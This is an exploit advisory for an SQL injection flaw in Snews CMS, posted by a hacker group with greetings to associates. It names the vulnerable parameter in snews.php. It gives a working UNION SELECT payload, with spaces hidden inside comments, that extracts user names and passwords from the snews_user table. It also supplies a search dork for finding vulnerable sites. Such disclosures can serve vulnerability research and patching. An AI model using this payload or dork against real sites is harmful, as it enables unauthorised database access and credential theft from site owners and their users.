Snews CMS SQL Injection

`  
  
____ ____ ____ _______/ |________ ____ ____   
/ _ \ / \_/ __ \ / ___/\ __\_ __ \_/ __ \_/ __ \   
( <_> ) | \ ___/ \___ \ | | | | \/\ ___/\ ___/   
\____/|___| /\___ >____ > |_ | |__| \___ >\___ >  
\/ \/ \/ \/ \/   
  
  
# Exploit Title : CMS snews SQL Injection Vulnerability  
# Author : By onestree  
# Software Link : http://snewscms.com/  
# tested : ubuntu 12.10 / win 7  
# Dork : inurl:"tanyakan pada rumput yang bergoyang"  
  
  
*************************************************************  
  
SQL poc:  
  
http://localhost/snews/snews.php?act=shownews&id=[SQL]  
  
Example:  
  
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*  
  
  
Thanks :   
  
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell  
  
indonesiancoder - moeslimh4x0r - go-coder  
  
spesial my hunny :*  
`